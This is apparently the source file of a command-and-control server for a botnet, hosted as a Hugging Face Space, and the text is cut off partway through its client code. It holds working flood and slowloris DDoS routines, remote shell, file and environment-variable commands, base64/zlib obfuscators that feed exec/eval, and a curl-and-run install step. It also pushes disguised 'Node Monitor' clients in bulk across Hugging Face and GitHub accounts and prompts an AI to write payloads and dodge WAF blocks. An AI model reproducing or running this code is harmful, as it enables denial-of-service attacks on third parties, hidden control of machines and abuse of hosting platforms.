Spaces:

wuhp
/

notc2docker

Running

App Files Files Community

notc2docker / server.ts

wuhp

Update server.ts

4f07011 verified 11 days ago

raw

history blame contribute delete

125 kB

	import express from 'express';
	import { createServer as createViteServer } from 'vite';
	import { fileURLToPath } from 'url';
	import path from 'path';
	import crypto from 'crypto';
	import cors from 'cors';
	import zlib from 'zlib';
	import { commit } from '@huggingface/hub';

	const __filename = fileURLToPath(import.meta.url);
	const __dirname = path.dirname(__filename);

	const app = express();
	const PORT = parseInt(process.env.PORT as string, 10) \|\| 3000;

	app.use(cors({ origin: '*' })); // Allow cross-origin requests from generated clients
	app.use(express.json());

	import { GoogleGenAI } from '@google/genai';

	app.post('/api/ai/generate-payload', async (req, res) => {
	try {
	const apiKey = STATE.tokens.gemini_token \|\| process.env.GEMINI_API_KEY;
	const ai = new GoogleGenAI({ apiKey });
	const { prompt } = req.body;
	const aiModel = STATE.tokens.gemini_model === '3.0' ? 'gemini-3.0-pro' : 'gemini-2.5-pro';
	const response = await ai.models.generateContent({
	model: aiModel,
	contents: `You are an expert at creating Python/JS/Bash node clients for a distributed test network.
	The system sends JSON commands and the node processes them.
	Existing commands implemented in default payloads include: fetch_http_test, socket_tcp_probe, udp_flood, tcp_connect_flood, http_get_flood, http_post_flood, slowloris, api_abuse_flood, cache_bypass_flood, dns_resolve, icmp_ping, traceroute, port_scan, get_public_ip, get_system_info, list_processes, get_env_vars, list_directory, read_file, write_file, run_file, get_file_info, copy_file, move_file, delete_file, arp_table, netstat_connections, ifconfig_ip, dns_mx_records, dns_txt_records, route_table, wifi_networks, system_logs, list_services, get_users, get_groups, reboot_system, kill_process, get_disk_space, change_poll_interval, self_terminate, report_sysinfo, exec_shell, syn_flood, ack_flood, connection_exhaustion, gre_flood, http3_quic_flood, http2_multiplex, browser_emulation, carpet_bombing, websocket_flood, slow_post_flood.
	Users can dispatch {"type": "custom_json", "payload": {...}} which should be handled by custom command logic in the payload.
	If the request requires making new custom commands (like sending X amount of Y packets to Z), ensure the payload defines a custom type handler and processes those specific keys from the JSON.
	Generate a raw script payload for the following request: ${prompt}.
	Make sure the payload implements retry checks and handles server connectivity robustly (polling the server URL) to comply with documentation.
	CRITICAL: Only output the raw script code. Do not include markdown formatting, backticks, or explanations.`,
	});
	res.json({ code: response.text?.replace(/^```[a-z]*\n/, '').replace(/\n```$/, '') });
	} catch (e: any) {
	res.status(500).json({ error: e.message });
	}
	});

	app.post('/api/ai/generate-packets', async (req, res) => {
	try {
	const apiKey = STATE.tokens.gemini_token \|\| process.env.GEMINI_API_KEY;
	const ai = new GoogleGenAI({ apiKey });
	const { prompt } = req.body;
	const aiModel = STATE.tokens.gemini_model === '3.0' ? 'gemini-3.0-pro' : 'gemini-2.5-pro';
	const response = await ai.models.generateContent({
	model: aiModel,
	contents: `You are an expert at crafting advanced, realistic test pipelines and attack scenarios for a distributed system.
	The user wants to generate an attack pipeline/packet chain for: ${prompt}.
	When generating the packets, incorporate:
	- Variations in request structure (headers, parameters, endpoints)
	- Changes in timing and pacing
	- Normal user browsing flows and session distribution
	- Packet size and packet type configuration

	Output ONLY a valid JSON array of command objects. These can use standard types or "custom_json" for payloads configured to handle custom types. Example format: [{"type": "custom_json", "payload": {"action": "flood", "target": "...", "threads": 10}}].
	CRITICAL: Do NOT include any markdown formatting, backticks, or explanations. Just valid JSON.`,
	});

	let text = response.text \|\| "[]";
	text = text.replace(/^```[a-z]*\n/, '').replace(/\n```$/, '');
	const packets = JSON.parse(text); // Check if it's valid JSON
	res.json({ packets });
	} catch (e: any) {
	res.status(500).json({ error: e.message });
	}
	});

	app.post('/api/ai/analyze-reports', async (req, res) => {
	try {
	const apiKey = STATE.tokens.gemini_token \|\| process.env.GEMINI_API_KEY;
	const ai = new GoogleGenAI({ apiKey });
	const aiModel = STATE.tokens.gemini_model === '3.0' ? 'gemini-3.0-pro' : 'gemini-2.5-pro';

	// Get last 20 reports
	const recentReports = STATE.reports.slice(0, 20);
	const reportsText = JSON.stringify(recentReports, null, 2);

	const response = await ai.models.generateContent({
	model: aiModel,
	contents: `You are an expert offensive security AI. Analyze these recent execution reports from the C2 nodes:
	${reportsText}

	Identify any blocked requests, errors, or patterns (e.g., rate limits, WAF blocks).
	Generate an improved attack sequence (packet chain) that attempts to bypass those blocks by varying headers, pacing, endpoints, or attack types.
	Output ONLY a valid JSON array of command objects. Example format: [{"type": "http_flood", "payload": {"url": "...", "threads": 10}}].
	CRITICAL: Do NOT include any markdown formatting, backticks, or explanations. Just valid JSON.`,
	});

	let text = response.text \|\| "[]";
	text = text.replace(/^```[a-z]*\n/, '').replace(/\n```$/, '');
	const packets = JSON.parse(text);
	res.json({ packets });
	} catch (e: any) {
	res.status(500).json({ error: e.message });
	}
	});

	// In-memory state
	const STATE = {
	tokens: {
	hf_token: '',
	github_token: '',
	gemini_token: '',
	gemini_model: '2.5'
	},
	nodes: new Map(),
	reports: [],
	commands: [],
	deployments: new Set<string>(),
	deployLogs: [],
	customPayloads: {} as Record<string, string>
	};

	// ...
	function logDeploy(msg) {
	STATE.deployLogs.unshift({ time: Date.now(), msg });
	if (STATE.deployLogs.length > 50) STATE.deployLogs.pop();
	}

	// --- Security / Token Management ---

	setInterval(() => {
	STATE.deployments.forEach(url => {
	fetch(url as string).catch(() => {});
	});
	}, 30000); // Ping every 30s to keep them awake

	app.post('/api/tokens', (req, res) => {
	const { hf_token, github_token, gemini_token, gemini_model } = req.body;
	if (hf_token !== undefined) STATE.tokens.hf_token = hf_token;
	if (github_token !== undefined) STATE.tokens.github_token = github_token;
	if (gemini_token !== undefined) STATE.tokens.gemini_token = gemini_token;
	if (gemini_model !== undefined) STATE.tokens.gemini_model = gemini_model;
	res.json({ success: true, message: 'Tokens stored securely in memory.' });
	});

	app.get('/api/tokens/status', (req, res) => {
	res.json({
	hf: !!STATE.tokens.hf_token,
	gh: !!STATE.tokens.github_token,
	gemini: !!STATE.tokens.gemini_token,
	gemini_model: STATE.tokens.gemini_model \|\| '2.5'
	});
	});


	// --- Node Management & Health ---
	app.post('/api/nodes/ping', (req, res) => {
	const { id, type, systemInfo } = req.body;
	const ip = req.headers['x-forwarded-for'] \|\| req.socket.remoteAddress \|\| 'unknown';

	if (!STATE.nodes.has(id)) {
	STATE.nodes.set(id, { id, type, ip, firstSeen: Date.now(), systemInfo: systemInfo \|\| {} });
	}

	const node = STATE.nodes.get(id);
	node.lastSeen = Date.now();
	node.ip = ip;
	node.systemInfo = systemInfo \|\| node.systemInfo;

	// Check if there are any commands for this node
	const pendingCommands = STATE.commands.filter(c => {
	if (c.target !== id && c.target !== 'all') return false;
	if (!c.repeat && c.executedBy.includes(id)) return false;
	return true;
	});

	// Mark as executed
	for (const c of pendingCommands) {
	if (!c.executedBy.includes(id)) {
	c.executedBy.push(id);
	}
	}

	res.json({ status: 'ok', commands: pendingCommands });
	});

	app.post('/api/nodes/report', (req, res) => {
	const report = {
	...req.body,
	timestamp: Date.now()
	};
	STATE.reports.unshift(report);
	if (STATE.reports.length > 100) STATE.reports.pop();
	res.json({ status: 'received' });
	});

	app.delete('/api/nodes/:id', (req, res) => {
	const { id } = req.params;
	STATE.nodes.delete(id);
	res.json({ success: true });
	});

	app.get('/api/status', (req, res) => {
	// Prune dead nodes (not seen in 5 minutes)
	const now = Date.now();
	for (const [id, node] of STATE.nodes.entries()) {
	if (now - node.lastSeen > 5 * 60 * 1000) {
	STATE.nodes.delete(id);
	}
	}

	res.json({
	nodes: Array.from(STATE.nodes.values()),
	reports: STATE.reports,
	activeCommands: STATE.commands.filter(c => c.repeat),
	deployments: Array.from(STATE.deployments),
	deployLogs: STATE.deployLogs
	});
	});

	app.post('/api/commands', (req, res) => {
	const { target, type, payload, repeat } = req.body;
	const cmd = {
	id: crypto.randomUUID(),
	target,
	type,
	payload,
	repeat: repeat \|\| false,
	executedBy: [],
	issuedAt: Date.now()
	};
	STATE.commands.push(cmd);
	// Keep last 50 commands
	if (STATE.commands.length > 50) STATE.commands.shift();
	res.json({ success: true, command: cmd });
	});

	app.delete('/api/commands/:id', (req, res) => {
	STATE.commands = STATE.commands.filter(c => c.id !== req.params.id);
	res.json({ success: true });
	});

	// --- Payload Generation ---
	function getServerUrl(req) {
	let url = process.env.APP_URL;
	if (!url) {
	const host = req.get('x-forwarded-host') \|\| req.get('host');
	let proto = req.get('x-forwarded-proto');
	if (!proto) {
	if (host && host.includes('localhost')) proto = 'http';
	else proto = 'https';
	}
	url = `${proto}://${host}`;
	}
	return url.replace(/\/$/, "");
	}

	function obfuscatePython(code) {
	const compressed = zlib.deflateSync(Buffer.from(code)).toString('base64');
	return `_ = __import__('base64').b64decode;__=__import__('zlib').decompress;exec(__(_(b'${compressed}')).decode())\n`;
	}

	function obfuscateJS(code) {
	const b64 = Buffer.from(code).toString('base64');
	return `(function(){const _0x1a2b=Buffer.from('${b64}', 'base64').toString('utf8');eval(_0x1a2b);})();\n`;
	}

	app.post('/api/ai/save-payload', (req, res) => {
	const { name, code } = req.body;
	if (!name \|\| !code) return res.status(400).json({ error: 'Name and code required' });
	STATE.customPayloads[name] = code;
	res.json({ success: true, message: 'Saved successfully.' });
	});

	app.get('/api/payloads/:type', (req, res) => {
	const serverUrl = getServerUrl(req);
	const type = req.params.type;
	const obfuscate = req.query.obfuscate === 'true';

	let files = {};

	if (STATE.customPayloads[type]) {
	files['custom_client.py'] = STATE.customPayloads[type];
	return res.json({ files });
	}

	if (type === 'hf_docker') {
	files['Dockerfile'] = `FROM python:3.11-slim\nWORKDIR /app\nRUN apt-get update && apt-get install -y iputils-ping traceroute procps && rm -rf /var/lib/apt/lists/*\nCOPY requirements.txt .\nRUN pip install --no-cache-dir -r requirements.txt\nCOPY client.py .\nCMD ["python", "client.py"]`;
	files['requirements.txt'] = `requests>=2.31.0`;
	let code = getPythonClient(serverUrl, 'hf_docker');
	if (obfuscate) code = obfuscatePython(code);
	files['client.py'] = code;
	}
	else if (type === 'hf_gradio') {
	let code = getGradioClient(serverUrl);
	if (obfuscate) code = obfuscatePython(code);
	files['app.py'] = code;
	files['requirements.txt'] = `requests>=2.31.0\ngradio>=4.0.0`;
	}
	else if (type === 'gh_actions') {
	files['client.py'] = getPythonClient(serverUrl, 'gh_actions');
	files['.github/workflows/main.yml'] = `name: Node Monitor
	on:
	push:
	workflow_dispatch:
	schedule:
	- cron: '/10 * * *'

	jobs:
	run-node:
	runs-on: ubuntu-latest
	steps:
	- uses: actions/checkout@v3
	- name: Set up Python
	uses: actions/setup-python@v4
	with:
	python-version: '3.10'
	- name: Install dependencies
	run: pip install requests
	- name: Run script
	run: python client.py
	`;
	}
	else if (type === 'linux_local') {
	let code = getBashClient(serverUrl);
	// basic sh obfuscation
	if (obfuscate) code = `eval "$(echo '${Buffer.from(code).toString('base64')}' \| base64 -d)"`;
	files['monitor.sh'] = code;
	}
	else if (type === 'windows_local') {
	files['monitor.ps1'] = getPowershellClient(serverUrl);
	} else if (type === 'python_script') {
	let code = getPythonClient(serverUrl, 'python_local');
	if (obfuscate) code = obfuscatePython(code);
	files['client.py'] = code;
	} else if (type === 'node_js') {
	let code = getNodeJsClient(serverUrl);
	if (obfuscate) code = obfuscateJS(code);
	files['client.js'] = code;
	} else if (type === 'c_binary') {
	files['client.c'] = getCClient(serverUrl);
	files['build.sh'] = "gcc client.c -o client -lcurl && ./client\\n";
	} else if (type === 'android_termux') {
	files['install.sh'] = "pkg update && pkg install curl -y && curl -sO " + serverUrl + "/api/payloads/linux_local && bash monitor.sh";
	files['monitor.sh'] = getBashClient(serverUrl);
	} else if (type === 'android_java') {
	files['AndroidManifest.xml'] = `<manifest xmlns:android="http://schemas.android.com/apk/res/android"
	package="com.example.monitor">
	<uses-permission android:name="android.permission.INTERNET" />
	<application android:allowBackup="true" android:label="Monitor" android:theme="@style/Theme.AppCompat">
	<service android:name=".MonitorService" android:exported="false" />
	</application>
	</manifest>`;
	files['MonitorService.java'] = getAndroidJavaClient(serverUrl);
	} else {
	return res.status(404).json({ error: 'Payload not found' });
	}

	res.json({ files });
	});

	// --- Deploy Endpoints ---
	app.get('/api/payloads', (req, res) => {
	const defaults = [
	{ id: 'hf_docker', name: 'Docker (Hugging Face)', desc: 'Standard Python container.' },
	{ id: 'hf_gradio', name: 'Gradio (Hugging Face)', desc: 'Gradio UI with background health poller.' },
	{ id: 'gh_actions', name: 'GitHub Actions (Python)', desc: 'Automatic Python background worker.' },
	{ id: 'linux_local', name: 'Linux Server (Bash)', desc: 'Native sh script for background ping.' },
	{ id: 'windows_local', name: 'Windows (PowerShell)', desc: 'Native ps1 script for background ping.' },
	{ id: 'python_script', name: 'Raw Python Script', desc: 'Raw Python client for any environment.' },
	{ id: 'node_js', name: 'Raw Node.js Script', desc: 'Raw Node.js client for any environment.' },
	{ id: 'c_binary', name: 'C Binary', desc: 'Compiled C client using curl.' },
	{ id: 'android_termux', name: 'Android (Termux)', desc: 'Termux bash script for Android.' },
	{ id: 'android_java', name: 'Android App (Java)', desc: 'Simple Java classes for an Android Background Service.' }
	];

	const customs = Object.keys(STATE.customPayloads).map(k => ({
	id: k, name: k + ' (AI)', desc: 'Custom AI generated payload.'
	}));

	res.json({ payloads: [...defaults, ...customs] });
	});

	app.post('/api/deploy/hf', async (req, res) => {
	const { name, sdk } = req.body;
	const tokens = STATE.tokens.hf_token.split(',').map(s => s.trim()).filter(Boolean);
	if (tokens.length === 0) return res.status(401).json({ error: 'HF Token not set' });

	logDeploy(`Starting bulk HF Deploy across ${tokens.length} accounts: ${name \|\| 'auto'} (${sdk})`);

	let deployedUrls = [];
	let deploymentErrors = [];

	// Respond early since this could take a while
	res.json({ success: true, message: `Dispatched ${tokens.length} deployments.` });

	for (let i = 0; i < tokens.length; i++) {
	const token = tokens[i];
	try {
	if (i > 0) await new Promise(r => setTimeout(r, 2000)); // Rate limiting

	const userRes = await fetch('https://huggingface.co/api/whoami-v2', {
	headers: { Authorization: `Bearer ${token}` }
	});
	if (!userRes.ok) throw new Error(`Invalid HF token (Token #${i + 1})`);
	const user = await userRes.json();
	const username = user.name \|\| user.id;
	const finalName = name \|\| `node-${crypto.randomBytes(3).toString('hex')}`;
	const repo_id = `${username}/${finalName}`;

	logDeploy(`Creating HF Space: ${repo_id}`);
	try {
	const createRes = await fetch('https://huggingface.co/api/repos/create', {
	method: 'POST',
	headers: { Authorization: `Bearer ${token}`, 'Content-Type': 'application/json' },
	body: JSON.stringify({ name: finalName, type: 'space', sdk: sdk })
	});
	if (!createRes.ok) {
	const errorText = await createRes.text();
	if (!errorText.includes('already exists')) {
	throw new Error(`Failed to create space ${repo_id}: ` + errorText);
	}
	}
	} catch(e) {
	if (e.message.includes('Failed to create space')) throw e;
	}

	await new Promise(r => setTimeout(r, 4000));

	const serverUrl = getServerUrl(req);
	let files = [];
	if (sdk === 'docker') {
	files.push({ path: 'Dockerfile', contents: `FROM python:3.11-slim\nWORKDIR /app\nRUN apt-get update && apt-get install -y iputils-ping traceroute procps && rm -rf /var/lib/apt/lists/*\nCOPY requirements.txt .\nRUN pip install --no-cache-dir -r requirements.txt\nCOPY client.py .\nCMD ["python", "client.py"]` });
	files.push({ path: 'requirements.txt', contents: `requests>=2.31.0` });
	files.push({ path: 'client.py', contents: getPythonClient(serverUrl, 'hf_docker') });
	} else {
	files.push({ path: 'app.py', contents: getGradioClient(serverUrl) });
	files.push({ path: 'requirements.txt', contents: `requests>=2.31.0\ngradio>=4.0.0` });
	}

	await commit({
	repo: { type: 'space', name: repo_id },
	credentials: { accessToken: token },
	title: "Deploying client",
	operations: files.map(f => ({
	operation: 'addOrUpdate',
	path: f.path,
	content: new Blob([f.contents])
	}))
	});

	logDeploy(`Successfully deployed HF Space: ${repo_id}`);
	deployedUrls.push(`https://huggingface.co/spaces/${repo_id}`);

	const directUrl = `https://${username}-${finalName.replace(/\./g, '-')}.hf.space`;
	STATE.deployments.add(directUrl);

	let hfPings = 0;
	const hfInterval = setInterval(() => {
	fetch(directUrl).catch(() => {});
	hfPings++;
	if (hfPings >= 12) clearInterval(hfInterval);
	}, 10000);
	} catch (err) {
	logDeploy(`Error on HF deploy (${i+1}/${tokens.length}): ${err.message}`);
	deploymentErrors.push(err.message);
	}
	}
	});

	app.post('/api/deploy/github', async (req, res) => {
	const { name } = req.body;
	const tokens = STATE.tokens.github_token.split(',').map(s => s.trim()).filter(Boolean);
	if (tokens.length === 0) return res.status(401).json({ error: 'GitHub Token not set' });

	logDeploy(`Starting bulk GitHub Deploy across ${tokens.length} accounts: ${name \|\| 'auto'}`);

	let deployedUrls = [];
	let deploymentErrors = [];

	// Respond early
	res.json({ success: true, message: `Dispatched ${tokens.length} GitHub deployments.` });

	for (let i = 0; i < tokens.length; i++) {
	const token = tokens[i];
	try {
	if (i > 0) await new Promise(r => setTimeout(r, 2000)); // Rate limit

	const userRes = await fetch('https://api.github.com/user', {
	headers: { Authorization: `Bearer ${token}` }
	});
	if (!userRes.ok) throw new Error(`Invalid GitHub token (Token #${i + 1})`);
	const user = await userRes.json();
	const username = user.login;

	const finalName = name \|\| `node-${crypto.randomBytes(3).toString('hex')}`;

	logDeploy(`Creating GitHub repo: ${username}/${finalName}`);

	await fetch('https://api.github.com/user/repos', {
	method: 'POST',
	headers: { Authorization: `Bearer ${token}`, 'Content-Type': 'application/json' },
	body: JSON.stringify({ name: finalName, auto_init: false })
	});

	await new Promise(r => setTimeout(r, 2000)); // wait for repo creation
	const serverUrl = getServerUrl(req);
	const pyContent = Buffer.from(getPythonClient(serverUrl, 'gh_actions')).toString('base64');

	await fetch(`https://api.github.com/repos/${username}/${finalName}/contents/client.py`, {
	method: 'PUT',
	headers: { Authorization: `Bearer ${token}`, 'Content-Type': 'application/json' },
	body: JSON.stringify({
	message: 'Add python client',
	content: pyContent
	})
	});

	await new Promise(r => setTimeout(r, 2000));

	const workflowYaml = `name: Node Monitor
	on:
	push:
	workflow_dispatch:
	schedule:
	- cron: '/5 * * *'

	jobs:
	run-node:
	runs-on: ubuntu-latest
	steps:
	- uses: actions/checkout@v3
	- name: Set up Python
	uses: actions/setup-python@v4
	with:
	python-version: '3.10'
	- name: Install
	run: pip install requests
	- name: Run script
	run: python client.py
	`;
	const wfContent = Buffer.from(workflowYaml).toString('base64');
	await fetch(`https://api.github.com/repos/${username}/${finalName}/contents/.github/workflows/main.yml`, {
	method: 'PUT',
	headers: { Authorization: `Bearer ${token}`, 'Content-Type': 'application/json' },
	body: JSON.stringify({
	message: 'Add workflow',
	content: wfContent
	})
	});

	const directUrl = `https://github.com/${username}/${finalName}/actions`;
	STATE.deployments.add(directUrl);
	logDeploy(`Successfully deployed GitHub Action to: ${directUrl}`);

	deployedUrls.push(directUrl);
	} catch (err) {
	logDeploy(`Error on GitHub deploy (${i+1}/${tokens.length}): ${err.message}`);
	deploymentErrors.push(err.message);
	}
	}
	});

	// -- Basic Client Code Generators --
	function getPythonClient(serverUrl, type) {
	return `import requests, time, uuid, os, platform, socket, threading, json, random, shutil, signal, sys, subprocess, multiprocessing
	SERVER_URL = "${serverUrl}"
	NODE_ID = str(uuid.uuid4())[:8]

	def exec_fetch_http_test(ip, port):
	try:
	url = f"http://{ip}:{port}/"
	t0 = time.time()
	res = requests.get(url, timeout=3)
	return {"status": f"HTTP_{res.status_code}", "latency_ms": round((time.time()-t0)*1000, 2)}
	except Exception as e:
	return {"status": "error", "detail": str(e)}

	def exec_socket_tcp_probe(ip, port):
	pass
	try:
	t0 = time.time()
	with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
	s.settimeout(2)
	s.connect((ip, int(port)))
	return {"status": "tcp_connected", "latency_ms": round((time.time()-t0)*1000, 2)}
	except Exception as e:
	return {"status": "tcp_failed", "detail": str(e)}

	def exec_udp_flood(ip, port, duration, packet_size):
	pass
	try:
	s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	bytes_to_send = os.urandom(int(packet_size))
	t_end = time.time() + float(duration)
	sent = 0
	while time.time() < t_end:
	s.sendto(bytes_to_send, (ip, int(port)))
	sent += 1
	return {"status": "udp_flood_finished", "packets_sent": sent}
	except Exception as e:
	return {"status": "udp_flood_failed", "detail": str(e)}

	def exec_tcp_connect_flood(ip, port, duration, threads_count):
	pass
	stats = {"sent": 0, "errors": 0}
	t_end = time.time() + float(duration)

	def flood_worker():
	while time.time() < t_end:
	try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.settimeout(1)
	s.connect((ip, int(port)))
	s.close()
	stats["sent"] += 1
	except:
	stats["errors"] += 1

	threads = []
	for _ in range(int(threads_count)):
	t = threading.Thread(target=flood_worker)
	t.start()
	threads.append(t)
	for t in threads:
	t.join()
	return {"status": "tcp_connect_flood_finished", "stats": stats}

	def exec_http_get_flood(url, duration, threads_count):
	pass
	stats = {"sent": 0, "errors": 0}
	t_end = time.time() + float(duration)

	def flood_worker():
	while time.time() < t_end:
	try:
	requests.get(url, timeout=2)
	stats["sent"] += 1
	except:
	stats["errors"] += 1

	threads = []
	for _ in range(int(threads_count)):
	t = threading.Thread(target=flood_worker)
	t.start()
	threads.append(t)
	for t in threads:
	t.join()
	return {"status": "http_get_flood_finished", "stats": stats}

	def exec_http_post_flood(url, duration, threads_count):
	pass
	stats = {"sent": 0, "errors": 0}
	t_end = time.time() + float(duration)

	def flood_worker():
	while time.time() < t_end:
	try:
	requests.post(url, data=os.urandom(16), timeout=2)
	stats["sent"] += 1
	except:
	stats["errors"] += 1

	threads = []
	for _ in range(int(threads_count)):
	t = threading.Thread(target=flood_worker)
	t.start()
	threads.append(t)
	for t in threads:
	t.join()
	return {"status": "http_post_flood_finished", "stats": stats}

	def exec_slowloris(ip, port, duration, threads_count):
	pass
	stats = {"sent": 0, "errors": 0}
	t_end = time.time() + float(duration)

	def slowloris_worker():
	try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.settimeout(4)
	s.connect((ip, int(port)))
	s.send("GET /?{} HTTP/1.1\\r\\n".format(random.randint(0, 2000)).encode("utf-8"))
	s.send("User-Agent: Mozilla/5.0\\r\\n".format(random.randint(0, 2000)).encode("utf-8"))
	s.send("{}\\r\\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
	stats["sent"] += 1
	except:
	stats["errors"] += 1
	return

	while time.time() < t_end:
	try:
	s.send("X-a: {}\\r\\n".format(random.randint(1, 5000)).encode("utf-8"))
	time.sleep(10)
	stats["sent"] += 1
	except:
	stats["errors"] += 1
	break
	try:
	s.close()
	except:
	pass

	threads = []
	for _ in range(int(threads_count)):
	t = threading.Thread(target=slowloris_worker)
	t.start()
	threads.append(t)
	time.sleep(0.05) # Ramp up
	for t in threads:
	t.join()
	return {"status": "slowloris_finished", "stats": stats}

	def exec_api_abuse_flood(url, duration, threads_count):
	pass
	stats = {"sent": 0, "errors": 0}
	t_end = time.time() + float(duration)

	def flood_worker():
	while time.time() < t_end:
	try:
	headers = { "Authorization": f"Bearer {random.randint(1000,9999)}", "Content-Type": "application/json" }
	payload = {"query": f"abusive_payload_{random.randint(0, 10000)}"}
	requests.post(url, headers=headers, json=payload, timeout=2)
	stats["sent"] += 1
	except:
	stats["errors"] += 1

	threads = []
	for _ in range(int(threads_count)):
	t = threading.Thread(target=flood_worker)
	t.start()
	threads.append(t)
	for t in threads:
	t.join()
	return {"status": "api_abuse_flood_finished", "stats": stats}

	def exec_cache_bypass_flood(url, duration, threads_count):
	pass
	stats = {"sent": 0, "errors": 0}
	t_end = time.time() + float(duration)

	def flood_worker():
	while time.time() < t_end:
	try:
	bypass_url = url + ("&" if "?" in url else "?") + "cb=" + str(random.random())
	requests.get(bypass_url, timeout=2)
	stats["sent"] += 1
	except:
	stats["errors"] += 1

	threads = []
	for _ in range(int(threads_count)):
	t = threading.Thread(target=flood_worker)
	t.start()
	threads.append(t)
	for t in threads:
	t.join()
	return {"status": "cache_bypass_flood_finished", "stats": stats}

	def ping():
	poll_interval = 10
	while True:
	try:
	res = requests.post(f"{SERVER_URL}/api/nodes/ping", json={
	"id": f"node-{NODE_ID}",
	"type": "${type}",
	"systemInfo": {
	"os": platform.system(),
	"release": platform.release(),
	"python": platform.python_version()
	}
	}, timeout=5)
	commands = res.json().get('commands', [])
	for cmd in commands:
	print(f"Executing command: {cmd}")
	cmd_type = cmd.get('type')
	payload = cmd.get('payload', {})
	result = "Success"

	if cmd_type == 'fetch_http_test':
	result = exec_fetch_http_test(payload.get('ip', '127.0.0.1'), payload.get('port', 80))
	elif cmd_type == 'socket_tcp_probe':
	result = exec_socket_tcp_probe(payload.get('ip', '127.0.0.1'), payload.get('port', 80))
	elif cmd_type == 'udp_flood':
	result = exec_udp_flood(payload.get('ip', '127.0.0.1'), payload.get('port', 80), payload.get('duration', 5), payload.get('packet_size', 1024))
	elif cmd_type == 'tcp_connect_flood':
	result = exec_tcp_connect_flood(payload.get('ip', '127.0.0.1'), payload.get('port', 80), payload.get('duration', 5), payload.get('threads', 10))
	elif cmd_type == 'http_get_flood':
	result = exec_http_get_flood(payload.get('url', 'http://127.0.0.1'), payload.get('duration', 5), payload.get('threads', 10))
	elif cmd_type == 'http_post_flood':
	result = exec_http_post_flood(payload.get('url', 'http://127.0.0.1'), payload.get('duration', 5), payload.get('threads', 10))
	elif cmd_type == 'slowloris':
	result = exec_slowloris(payload.get('ip', '127.0.0.1'), payload.get('port', 80), payload.get('duration', 5), payload.get('threads', 10))
	elif cmd_type == 'api_abuse_flood':
	result = exec_api_abuse_flood(payload.get('url', 'http://127.0.0.1'), payload.get('duration', 5), payload.get('threads', 10))
	elif cmd_type == 'cache_bypass_flood':
	result = exec_cache_bypass_flood(payload.get('url', 'http://127.0.0.1'), payload.get('duration', 5), payload.get('threads', 10))
	elif cmd_type == 'syn_flood':
	pass
	stats = {"sent": 0, "errors": 0}
	t_end = time.time() + float(payload.get('duration', 5))
	def worker():
	try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
	except: stats["errors"] += 1; return
	while time.time() < t_end:
	try: s.sendto(b"SYN_DUMMY_PAYLOAD", (payload.get('ip', '127.0.0.1'), int(payload.get('port', 80)))); stats["sent"] += 1
	except: stats["errors"] += 1
	threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
	for t in threads: t.start()
	for t in threads: t.join()
	result = stats
	elif cmd_type == 'ack_flood':
	pass
	stats = {"sent": 0, "errors": 0}
	t_end = time.time() + float(payload.get('duration', 5))
	def worker():
	try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
	except: stats["errors"] += 1; return
	while time.time() < t_end:
	try: s.sendto(b"ACK_DUMMY", (payload.get('ip', '127.0.0.1'), int(payload.get('port', 80)))); stats["sent"] += 1
	except: stats["errors"] += 1
	threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
	for t in threads: t.start()
	for t in threads: t.join()
	result = stats
	elif cmd_type == 'connection_exhaustion':
	pass
	stats = {"sent": 0, "errors": 0}
	t_end = time.time() + float(payload.get('duration', 5))
	def worker():
	sockets = []
	while time.time() < t_end:
	try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.settimeout(1)
	s.connect((payload.get('ip', '127.0.0.1'), int(payload.get('port', 80))))
	sockets.append(s); stats["sent"] += 1
	if len(sockets) > 500: sockets.pop(0).close()
	except: stats["errors"] += 1
	for s in sockets:
	try: s.close()
	except: pass
	threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
	for t in threads: t.start()
	for t in threads: t.join()
	result = stats
	elif cmd_type == 'gre_flood':
	pass
	stats = {"sent": 0, "errors": 0}
	t_end = time.time() + float(payload.get('duration', 5))
	def worker():
	try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, 47)
	except: stats["errors"] += 1; return
	payload_data = os.urandom(int(payload.get('size', 512)))
	while time.time() < t_end:
	try: s.sendto(payload_data, (payload.get('ip', '127.0.0.1'), 0)); stats["sent"] += 1
	except: stats["errors"] += 1
	threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
	for t in threads: t.start()
	for t in threads: t.join()
	result = stats
	elif cmd_type == 'http3_quic_flood':
	pass
	stats = {"sent": 0, "errors": 0}
	t_end = time.time() + float(payload.get('duration', 5))
	quic_payload = b'\\xc0\\x00\\x00\\x00\\x01\\x08\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08' + os.urandom(1200)
	def worker():
	try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	except: return
	while time.time() < t_end:
	try: s.sendto(quic_payload, (payload.get('ip', '127.0.0.1'), int(payload.get('port', 443)))); stats["sent"] += 1
	except: stats["errors"] += 1
	threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
	for t in threads: t.start()
	for t in threads: t.join()
	result = stats
	elif cmd_type == 'http2_multiplex':
	pass
	stats = {"sent": 0, "errors": 0}
	t_end = time.time() + float(payload.get('duration', 5))
	url = payload.get('url', 'http://127.0.0.1/')
	def worker():
	while time.time() < t_end:
	try:
	session = requests.Session()
	for _ in range(20):
	if time.time() >= t_end: break
	session.get(url, timeout=2)
	stats["sent"] += 1
	except: stats["errors"] += 1
	threads = [threading.Thread(target=worker) for _ in range(int(payload.get('threads', 10)))]
	for t in threads: t.start()
	for t in threads: t.join()
	result = stats
	elif cmd_type == 'browser_emulation':
	pass
	stats = {"sent": 0, "errors": 0}
	t_end = time.time() + float(payload.get('duration', 5))
	url = payload.get('url', 'http://127.0.0.1/')
	user_agents = [
